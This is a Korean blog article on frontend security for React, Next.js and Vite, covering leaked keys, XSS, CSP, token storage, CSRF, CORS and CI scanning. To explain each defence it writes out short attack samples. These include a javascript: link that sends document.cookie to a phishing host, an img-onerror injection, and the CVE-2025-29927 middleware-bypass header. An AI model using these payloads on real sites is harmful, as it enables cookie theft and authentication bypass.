2026 Frontend Security Best Practices
2026년 프론트엔드에서 다루어야할 보안 지식과 예제를 함께 정리해봅니다.

최근 TVi**, Za**, 패스트*** 등 여러 기업에서 개인정보 유출 사고가 잇따라 발생하고 있습니다.
요즘 프론트엔드는 SSR, RSC 등 서버와 클라이언트를 모두 다루게 되면서, 보안 이슈가 그 어느 때보다 중요해졌습니다.
React, Next.js, npm 사례만 봐도, 보안 문제는 이제 남의 일이 아님을 알 수 있습니다.
이번 글에서는 프론트엔드 개발자가 꼭 알아야 할 보안 지식과 실전 체크포인트를 정리해보겠습니다.
1. Credential 유출
Credential(자격증명) 이란 특정 서비스에 접근할 수 있는 열쇠입니다. API 키, 데이터베이스 접속 정보, OAuth 시크릿, AWS IAM 키 등이 모두 해당됩니다.
예를 들어, AWS 키 하나가 유출되면 수백만 원의 요금 폭탄, 전체 데이터베이스 탈취로 이어질 수 있습니다.
왜 프론트엔드에서 유출되나요?
우리의 코드는 번들링을 통해 웹 브라우저에서 사용이 되는데, 여기서 JS 번들이 문제입니다.
2024년 국내 보안 기업 Cremit이 국내 유명 웹사이트 70여 곳을 점검한 결과, 14곳(20%)에서 API 키가 JS 번들에 그대로 노출됐습니다.
NEXT_PUBLIC_ prefix의 의미
Next.js의 NEXT_PUBLIC_에서 드러나듯이 PUBLIC, 즉 공개된 환경 변수입니다. 이것은 “이 변수를 클라이언트에서 쓰겠다”는 선언입니다.
빌드 시점에 해당 값이 JS 파일 안에 문자열 그대로 대체되므로, 민감한 정보를 환경 변수로 저장해선 안됩니다.
// 코드에서는 이렇게 보이지만
const headers = {
Authorization: `Bearer ${process.env.NEXT_PUBLIC_OPENAI_KEY}`,
};
// 빌드 후 번들(main-abc123.js)에서는 이렇게 됩니다
const headers = {
Authorization: 'Bearer sk-proj-실제키값이여기에박힘',
// → 누구나 DevTools로 볼 수 있음
};Vite도 마찬가지입니다. VITE_ prefix가 붙은 변수는 번들링 이후 클라이언트 측 소스 코드에 노출됩니다.
올바른 환경 변수 사용법
민감한 API KEY의 경우, NextJS의 Route Handler와 같이 Proxy 패턴을 사용하여 서버를 통해 요청해야 합니다.
NEXT_PUBLIC_$PREFIX$는 기본적으로 브라우저에 노출됨을 인지하고 사용하는 것이 중요합니다.
// ❌ 클라이언트에서 직접 호출 → 키가 번들에 포함됨
async function summarize(text: string) {
return fetch('https://api.openai.com/v1/chat/completions', {
headers: { Authorization: `Bearer ${process.env.NEXT_PUBLIC_OPENAI_KEY}` },
});
}
// ✅ 내 서버 Route를 경유 → 키는 서버에만 존재
// Client Component
async function summarize(text: string) {
return fetch('/api/llm', {
method: 'POST',
body: JSON.stringify({ text }),
});
}
// app/api/llm/route.ts (서버에서만 실행, 번들에 포함되지 않음)
export async function POST(req: Request) {
const { text } = await req.json();
return fetch('https://api.openai.com/v1/chat/completions', {
headers: { Authorization: `Bearer ${process.env.OPENAI_KEY}` }, // NEXT_PUBLIC_ 없음
});
}현재 번들 점검하기
간단하게는 아래와 같이 next.js웹 사이트의 NEXT_PUBLIC_문자열을 찾아 조회해볼 수 있습니다.
NEXT_PUBLIC_OPENAI_KEY와 같은 민감한 정보가 있을 경우 그 즉시 교체 및 제거해야합니다.
SITE=https://www.sitename.com
for js in $(curl -s $SITE | grep -oE '/_next/static/[^"]+\.js' | sort -u); do
curl -s "$SITE$js"
done \
| grep -aoE 'NEXT_PUBLIC_[A-Z0-9_]+' \
| sort -u2. XSS
XSS(Cross-Site Scripting) 란 공격자가 내 웹 페이지에 악성 스크립트를 심어 다른 사용자의 브라우저에서 실행시키는 공격입니다.
예시로는 아래와 같은 순서로 발생할 수 있습니다.
- 공격자가 댓글란에
<script>document.cookie를 내 서버로 전송</script>입력- 다른 사용자가 해당 페이지를 열면 스크립트 실행
- 공격자가 사용자의 세션 쿠키(로그인 정보) 탈취
- 피해자 계정으로 로그인
React가 막아주는 것
React는 JSX에서 변수를 렌더링할 때 HTML 특수문자를 자동으로 무력화합니다.
그래서 아래와 같은 경우, 스크립트가 실행되지 않고 문자 그대로 보여줍니다.
const comment = '<script>alert("XSS")</script>';
// 스크립트 실행 안 됨
return <div>{comment}</div>;React가 막아주지 못하는 것
① dangerouslySetInnerHTML
이름을 dangerouslySetInnerHTML로 만든 이유는 말그대로 위험하니 사용에 주의하란 뜻입니다.
// ❌ 사용자가 입력한 HTML을 그대로 렌더링 → XSS 취약
<div dangerouslySetInnerHTML={{ __html: userInput }} />;
// ✅ DOMPurify로 먼저 정화한 후 사용
import DOMPurify from 'dompurify';
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userInput) }} />;② href에 사용자 입력 사용
javascript: 프로토콜은 링크 클릭 시 스크립트를 실행합니다.
// 공격자가 href에 아래 값을 넣으면?
const url = 'javascript:document.location="https://피싱사이트.com?c="+document.cookie';
// ❌ 그대로 사용하면 클릭 시 쿠키 탈취
<a href={url}>이벤트 당첨 확인하기</a>;
// ✅ http/https만 허용
function isSafeUrl(url: string) {
try {
const { protocol } = new URL(url);
return protocol === 'http:' || protocol === 'https:';
} catch {
return false;
}
}
<a href={isSafeUrl(url) ? url : '#'}>{label}</a>;③ URL 파라미터를 DOM에 직접 삽입
// ❌ URL의 name 파라미터를 HTML로 삽입
// 공격자가 ?name=<img src=x onerror=alert(1)> 같은 URL을 공유하면?
const name = new URLSearchParams(location.search).get('name');
document.getElementById('greeting')!.innerHTML = `안녕하세요, ${name}님!`;
// ✅ textContent 사용 (HTML 파싱 없이 텍스트만 표시)
document.getElementById('greeting')!.textContent = `안녕하세요, ${name}님!`;3. CSP
CSP(Content Security Policy) 는 브라우저에게 “이 페이지에서는 이런 것들만 실행/로드할 수 있다”고 알려주는 보안 규칙서입니다. HTTP 응답 헤더로 전달됩니다.
XSS 공격이 성공해서 악성 스크립트가 삽입됐더라도, CSP가 있으면 그 스크립트의 실행 자체를 브라우저가 차단합니다.
CSP 없는 경우:
공격자 스크립트 삽입 → 브라우저가 그냥 실행 → 쿠키 탈취, 악성 서버로 데이터 전송
CSP 있는 경우:
공격자 스크립트 삽입 → 브라우저가 "이 출처는 허용 안 됨" → 실행 차단Next.js에서 CSP 설정하기
정적 페이지가 많다면 next.config.js에서 간단하게 설정할 수 있습니다.
unsafe-eval의 경우 개발환경 디버깅을 위해 사용하므로 프로덕션 환경에서만 제거합니다.
const isDev = process.env.NODE_ENV === 'development';
module.exports = {
async headers() {
return [
{
source: '/(.*)',
headers: [
{
key: 'Content-Security-Policy',
value: [
"default-src 'self'", // 기본: 자기 도메인만 허용
`script-src 'self' ${isDev ? "'unsafe-eval'" : ''}`, // 스크립트: 자기 도메인만
"style-src 'self' 'unsafe-inline'", // 스타일: 인라인 허용
"img-src 'self' blob: data: https:", // 이미지: https 전체 허용
"object-src 'none'", // Flash 등 플러그인 완전 차단
"frame-ancestors 'none'", // iframe 삽입 차단 (클릭재킹 방어)
'upgrade-insecure-requests', // 요청을 https로 업그레이드하도록 지시
//... 추가 설정
].join('; '),
},
],
},
];
},
};더 엄격한 설정: nonce 기반 CSP (권장)
unsafe-inline조차 없애고 싶다면 nonce 방식을 사용합니다. 매 요청마다 고유한 일회용 코드(nonce)를 발급하고, 그 코드가 있는 스크립트만 실행을 허용합니다.
CSP는 악성 스크립트를 차단하도록 설계되었지만, 인라인 스크립트가 필요한 합법적인 시나리오가 존재합니다. 이러한 경우 nonce를 사용하여 올바른 nonce를 가진 스크립트가 실행될 수 있도록 합니다.
아래는 Next.js 공식 문서에서의 proxy(middleware)를 사용한 예시입니다.
import { NextRequest, NextResponse } from 'next/server';
export function proxy(request: NextRequest) {
const nonce = Buffer.from(crypto.randomUUID()).toString('base64');
const isDev = process.env.NODE_ENV === 'development';
const cspHeader = `
default-src 'self';
script-src 'self' 'nonce-${nonce}' 'strict-dynamic'${isDev ? " 'unsafe-eval'" : ''};
style-src 'self' 'nonce-${nonce}';
img-src 'self' blob: data:;
font-src 'self';
object-src 'none';
base-uri 'self';
form-action 'self';
frame-ancestors 'none';
upgrade-insecure-requests;
`;
// 줄바꿈 문자와 연속된 공백을 치환합니다
const contentSecurityPolicyHeaderValue = cspHeader.replace(/\s{2,}/g, ' ').trim();
const requestHeaders = new Headers(request.headers);
requestHeaders.set('x-nonce', nonce);
requestHeaders.set('Content-Security-Policy', contentSecurityPolicyHeaderValue);
const response = NextResponse.next({
request: {
headers: requestHeaders,
},
});
response.headers.set('Content-Security-Policy', contentSecurityPolicyHeaderValue);
return response;
}주의: nonce 방식은 모든 페이지가 서버에서 동적으로 렌더링되어야 합니다. 정적 페이지가 많다면 위의
next.config.js방식이 더 적합합니다.
Vite SPA에서 CSP 설정 (Nginx)
Vite로 만든 SPA는 정적 파일이므로 서버(Nginx, CDN) 레벨에서 헤더를 설정합니다.
# nginx.conf
server {
add_header Content-Security-Policy
"default-src 'self';
script-src 'self';
style-src 'self' 'unsafe-inline';
img-src 'self' data: blob:;
connect-src 'self' https://api.yourapp.com;
frame-ancestors 'none';" always;
}최신 버전에서는 vite.config.js설정으로도 옵션을 제공합니다.
위반 리포트 수집
CSP 설정 후 실제로 어떤 요청이 차단되는지 수집하면 설정을 점진적으로 개선할 수 있습니다.
Content Security Policy 헤더에 report-to를 추가하여 위반 리포트를 수집할 수 있습니다.
report-uri는 deprecated 되었으므로,report-to를 사용하는 것을 권장합니다.
// CSP 헤더에 report-to 추가
Content-Security-Policy: default-src 'self'; report-to name-of-endpoint
// app/api/csp-report/route.ts
export async function POST(req: Request) {
const report = await req.json();
console.error('[CSP Violation]', JSON.stringify(report, null, 2));
return new Response(null, { status: 204 });
}4. 인증 토큰 관리
로그인 후 받은 인증 토큰(JWT 등)을 어디에 저장하느냐에 따라 노출되는 공격이 달라집니다.
XSS와 CSRF, 두 가지 공격 사이에서 균형을 맞춰야 합니다.
저장소별 비교
| 저장소 | XSS | CSRF | 특징 |
|---|---|---|---|
localStorage | ❌ 취약 (JS로 접근 가능) | ✅ 안전 | 새로고침 유지. 민감 토큰 사용 금지 |
sessionStorage | ❌ 취약 (JS로 접근 가능) | ✅ 안전 | 탭 닫으면 삭제 |
HttpOnly Cookie | ✅ 안전 (JS 접근 불가) | ❌ 취약 | SameSite 설정으로 보완 |
| 메모리 (React state) | ✅ 안전 | ✅ 안전 | 새로고침 시 로그아웃됨 |
권장 패턴: HttpOnly Cookie
HttpOnly 속성이 붙은 쿠키는 JavaScript에서 document.cookie로 읽을 수 없습니다.
Next Server를 Proxy로 사용할 경우 아래와 같이 설정할 수 있습니다.
export async function POST(req: Request) {
const token = await authenticate(req);
return new Response(JSON.stringify({ success: true }), {
headers: {
'Set-Cookie': [
`auth_token=${token}`,
'HttpOnly', // JS에서 접근 불가 → XSS 방어
'Secure', // HTTPS에서만 전송
'SameSite=Strict', // 같은 사이트 요청에서만 전송 → CSRF 방어
'Max-Age=604800', // 7일
'Path=/',
].join('; '),
},
});
}5. CSRF
CSRF(Cross-Site Request Forgery) 는 로그인된 사용자를 속여 의도하지 않은 요청을 보내게 만드는 공격입니다.
위에서
SameSite=Strict를 이미 설정했다면 상당 부분 방어할 수 있습니다.
1. 사용자가 은행 사이트에 로그인된 상태
2. 공격자가 만든 피싱 페이지를 사용자가 방문
3. 그 페이지에 숨겨진 폼이 자동으로 은행 서버에 송금 요청을 보냄
4. 은행 서버는 "인증된 쿠키가 있으니 정상 요청"으로 처리Next.js Server Action의 CSRF 방어
Next.js App Router의 Server Action은 두 가지를 자동으로 처리합니다.
- POST 전용: Server Action은 항상 POST로만 호출됩니다.
- Origin 헤더 검증: 요청의
Origin과Host가 다르면 자동으로 거부합니다.
하지만 Custom Route Handler의 경우 별도의 대응이 필요합니다.
// ❌ 아무 검증 없이 처리하면 CSRF 취약
export async function POST(req: Request) {
const { amount, to } = await req.json();
await transferMoney(amount, to);
}// ✅ Origin 헤더를 직접 검증
export async function POST(req: Request) {
const origin = req.headers.get('origin');
const allowedOrigins = ['https://yourapp.com'];
if (!origin || !allowedOrigins.includes(origin)) {
return new Response('Forbidden', { status: 403 });
}
const { amount, to } = await req.json();
await transferMoney(amount, to);
}이런 경우는 잘 없지만, 아래와 같이 GET요청으로 상태를 변경해선 안됩니다.
// ❌ 공격자가 <img src="https://yourapp.com/api/delete?id=123"> 하나로 공격 가능
app.get('/api/user/delete', deleteUser);
// ✅ 상태 변경은 반드시 POST, PUT, DELETE 사용
app.delete('/api/user/:id', deleteUser);6. RSC & Server Action
프론트엔드에서 주의해야하는 것은 서버에서 실행된다고 항상 안전한 것은 아닙니다.
Server Component와 Server Action은 서버에서 실행되지만, 클라이언트에 데이터를 전달하는 과정에서 민감한 데이터를 전달하지 않도록 주의해야 합니다.
Client Component에 데이터를 넘길 때 최소화
극단적인 예시이지만, 평소처럼 API 응답을 보여주듯이 user 정보를 그대로 전달할 경우 UI에 노출되지 않더라도 유저의 민감한 정보를 브라우저에서 확인할 수 있습니다.
// ❌ user 객체 전체를 넘기면 password hash, phone 등도 클라이언트에 노출될 수 있음
const user = await db.user.findUnique({ where: { id } });
return <ProfileCard user={user} />;
// ✅ 필요한 것만 넘기기
const user = await db.user.findUnique({ where: { id } });
return <ProfileCard name={user.name} avatarUrl={user.avatarUrl} />;위와 같은 실수를 사전에 방지하기 위해, React에서는 ‘server-only’ 패키지를 사용하는 것을 제안합니다.
'server-only'는 서버 전용 모듈임을 선언하여 클라이언트에서 import할 수 없도록 합니다.
import 'server-only'; // ← Client Component에서의 import를 빌드 에러로 막아줌
import { cache } from 'react';
import { cookies } from 'next/headers';
export const getCurrentUser = cache(async () => {
const token = (await cookies()).get('auth_token')?.value;
if (!token) return null;
return validateToken(token);
});Server Action에서 입력값 검증
'use server'는 헷갈리기 쉬운데, 클라이언트 측 코드에서 호출할 수 있는 서버측 함수를 표시합니다.
클라이언트에서 서버 액션을 호출하면, 전달된 모든 인수의 직렬화된 사본을 포함한 네트워크 요청을 서버로 전송합니다. 서버 함수가 값을 반환하면, 그 값을 직렬화하여 클라이언트로 반환합니다.
설명대로 서버 함수에 대한 인수는 클라이언트에서 완전히 제어되므로, 서버액션을 사용할 때는 보안에 항상 신경을 써야합니다.
'use server';
import { z } from 'zod';
const schema = z.object({ id: z.string().uuid() });
export async function deletePost(formData: FormData) {
// 1단계: 인증 확인
const user = await getCurrentUser();
if (!user) throw new Error('Unauthorized');
// 2단계: 입력값 검증
const result = schema.safeParse({ id: formData.get('id') });
if (!result.success) throw new Error('잘못된 입력값');
// 3단계: 권한 확인 (내 글인지 확인)
const post = await db.post.findUnique({ where: { id: result.data.id } });
if (post?.authorId !== user.id) throw new Error('Forbidden');
await db.post.delete({ where: { id: result.data.id } });
}7. 프레임워크 보안 업데이트
프레임워크의 버전 관리는 단순히 새로운 기능을 추가하거나, 성능을 개선하기 위해서만 하는 것이 아닙니다. 보안 취약점을 수정하기 위해서도 버전을 업데이트해야 합니다.
그냥 React나 Next.js를 사용한다고 해서 보안 취약점이 없다는 보장은 없습니다.
사례 1: Next.js 미들웨어 인증 우회 (CVE-2025-29927)
2025년 3월 21일 발표된 Next.js의 middleware 취약점입니다.
/admin/dashboard 페이지를 middleware 인증으로 보호하고 있었다고 해도 공격자가 이 요청 한 줄로 인증을 완전히 우회할 수 있었습니다.
GET /admin/dashboard HTTP/1.1
Host: yourapp.com
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware자세한 공격 방법에 대한 내용은 skshieldus의 기술 블로그에서 확인할 수 있습니다.
사례 2: React Server Components RCE (CVE-2025-55182)
2025년 12월 3일에 발표된 취약점으로, 심각도 CVSS 10.0 (최고 등급)의 취약점 사례입니다.
React Server Components의 Flight 프로토콜에서 발견된 취약점으로, 인증 없이 HTTP 요청 하나만으로 서버에서 임의 코드를 실행할 수 있었습니다. (RCE: Remote Code Execution)
React 컴포넌트 트리, 데이터, 서버 참조 등을 서버와 클라이언트 간에 효율적으로 전송하기 위해 설계된 커스텀 직렬화 포맷입니다.
공격 시나리오

공격자가 외부에서 접근 가능한 RSC 요청 처리 경로로 조작된 요청을 보내면, 서버는 해당 요청을 정상적으로 받아 Flight 형식의 데이터로 읽어들이고, 공격자가 의도한 대로 임의의 코드를 실행할 수 있었습니다.
npm install next@latest
npm install react@latest react-dom@latestAI가 발전할수록 보안에 더 민감해지고 있습니다. 꾸준한 버전 관리를 통해 취약점을 예방해야 합니다.
보안 업데이트를 놓치지 않는 방법
① GitHub Security Advisories 구독
https://github.com/vercel/next.js/security/advisories
https://github.com/facebook/react/security/advisories저장소를 Watch → Security Alerts로 설정하면 이메일 알림을 받을 수 있습니다.

② Dependabot 설정
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: 'npm'
directory: '/'
schedule:
interval: 'weekly'
# 보안 업데이트는 즉시 PR 생성
open-pull-requests-limit: 10Dependabot은 GitHub Security Advisory에 등록된 취약점을 감지하면 자동으로 패치 PR을 만들어줍니다. 하지만 너무 많은 alert로 인해 다른 방법을 사용하는 것도 좋습니다.
③ npm audit을 통한 취약점 스캐닝
npm을 포함한 각 패키지 매니저들은 취약점 스캐닝을 지원합니다. 이를 통해 현재 사용 중인 패키지의 취약점을 확인할 수 있습니다.
# 지금 사용 중인 패키지의 알려진 취약점 확인
npm audit
# 어떤 버전이 영향받는지 상세 확인
npm audit --json | jq '.vulnerabilities'④ npmx 활용
npmx VSCode extension을 통해 현재 사용 중인 패키지의 버전 업데이트 내역과 취약점을 확인할 수 있습니다.
저는 최근에는 이 익스텐션을 통해 버전 관리와 취약점 스캐닝을 함께 하고 있습니다.
8. 보안 HTTP 헤더 체크리스트
HTTP 응답 헤더 몇 줄만 추가해도 여러 공격을 한 번에 차단할 수 있습니다.
Next.js 전체 설정
module.exports = {
async headers() {
return [
{
source: '/(.*)',
headers: [
// iframe으로 내 페이지를 삽입하는 클릭재킹 공격 차단
{ key: 'X-Frame-Options', value: 'DENY' },
// 브라우저가 파일 타입을 임의로 추측하는 것 방지
// (txt 파일을 JS로 실행하는 공격 차단)
{ key: 'X-Content-Type-Options', value: 'nosniff' },
// 외부 사이트로 이동 시 URL 경로를 Referer 헤더에 포함하지 않음
{ key: 'Referrer-Policy', value: 'strict-origin-when-cross-origin' },
// 이후 모든 요청을 HTTPS로 강제 (1년간)
{ key: 'Strict-Transport-Security', value: 'max-age=31536000; includeSubDomains' },
// 불필요한 브라우저 기능 비활성화
{ key: 'Permissions-Policy', value: 'camera=(), microphone=(), geolocation=()' },
],
},
];
},
};각 헤더에 대한 설명
| 헤더 | 방어하는 공격 |
|---|---|
X-Frame-Options: DENY | 클릭재킹 (내 페이지를 투명 iframe에 올려 클릭 유도) |
X-Content-Type-Options: nosniff | MIME 타입 스니핑 |
Strict-Transport-Security | HTTP 연결 강제(중간자 공격) |
Referrer-Policy | 내부 URL이 외부로 노출되는 것 방지 |
Permissions-Policy | 카메라/마이크 등 민감한 기능 오남용 |
Content-Security-Policy | XSS, 악성 스크립트 로드 (섹션 3 참고) |
지금 내 사이트 점수 확인
securityheaders.com에 도메인을 입력하면 현재 헤더 설정을 분석하고 등급(A+~F)을 알려줍니다. 목표는 A 이상입니다.
10. CORS
브라우저에는 동일 출처 정책(Same-Origin Policy) 이 있습니다. https://yourapp.com에서 실행 중인 JavaScript는 기본적으로 https://yourapi.com의 응답 본문을 읽을 수 없습니다.
CORS(Cross-Origin Resource Sharing) 는 서버가 응답 헤더로 “이 출처(origin)에서 실행되는 스크립트가 응답을 읽어도 된다”고 브라우저에 알려주는 메커니즘입니다.
Access-Control-Allow-Origin: *는 어떤 사이트의 JavaScript든 이 API 응답을 읽을 수 있다는 뜻에 가깝습니다.
1. 사용자가 evil.com 방문
2. evil.com 스크립트가 fetch('https://yourapi.com/public-but-sensitive')
3. CORS: \* 이므로 evil.com의 JavaScript가 응답 본문을 읽음올바른 CORS 설정
const ALLOWED_ORIGINS = [
'https://yourapp.com',
'https://www.yourapp.com',
// 개발 환경에서만 localhost 허용
...(process.env.NODE_ENV === 'development' ? ['http://localhost:3000'] : []),
];
export async function GET(request: Request) {
const origin = request.headers.get('origin') ?? '';
const isAllowed = ALLOWED_ORIGINS.includes(origin);
return Response.json(
{ data: '...' },
{
headers: isAllowed
? {
'Access-Control-Allow-Origin': origin, // * 대신 명시적 origin
'Access-Control-Allow-Credentials': 'true',
Vary: 'Origin', // 캐시가 origin별로 분리되도록
}
: {},
},
);
}Vite 개발 서버의 proxy 설정
export default defineConfig({
server: {
proxy: {
'/api': {
target: 'http://localhost:8080',
changeOrigin: true,
},
},
},
});
// ⚠️ 이 설정은 개발용입니다. 프로덕션에서는 서버에 CORS 설정이 필요합니다.11. CI/CD 에 보안 적용하기
Github Actions 기준으로, ci를 통해 lockfile을 고정하여 설치하고, trufflehog를 사용하여 시크릿 노출을 검사할 수 있습니다.
# .github/workflows/security.yml
name: Security Checks
on: [push, pull_request]
jobs:
security:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v6
- name: Install dependencies
run: npm ci # npm install 대신 ci 사용 (--frozen-lockfile 역할)
# 1. 의존성 취약점 검사
- name: Dependency audit
run: npm audit --audit-level=high
# 2. 시크릿 노출 검사 (코드 안에 API 키 등이 있는지 확인)
- name: Secret scanning
uses: trufflesecurity/trufflehog@main
with:
path: ./
base: ${{ github.event.repository.default_branch }}
head: HEAD
- name: Build
run: npm run buildESLint 보안 규칙 추가
npm install --save-dev eslint-plugin-security// eslint.config.js
import pluginSecurity from 'eslint-plugin-security';
export default [
pluginSecurity.configs.recommended,
{
rules: {
'react/no-danger': 'error', // dangerouslySetInnerHTML 사용 금지
'no-eval': 'error', // eval() 사용 금지
'no-implied-eval': 'error',
},
},
];마치며
앞으로 AI가 발전함에 따라, 보안 이슈가 더 많이 발생할 것이라 예상됩니다. 인프라나 백엔드의 대응도 물론 중요하지만, 고객을 마주하는 가장 앞단인 프론트엔드에서 먼저 보안을 챙겨 안정적인 서비스를 만들어 나가면 좋을 것 같습니다.
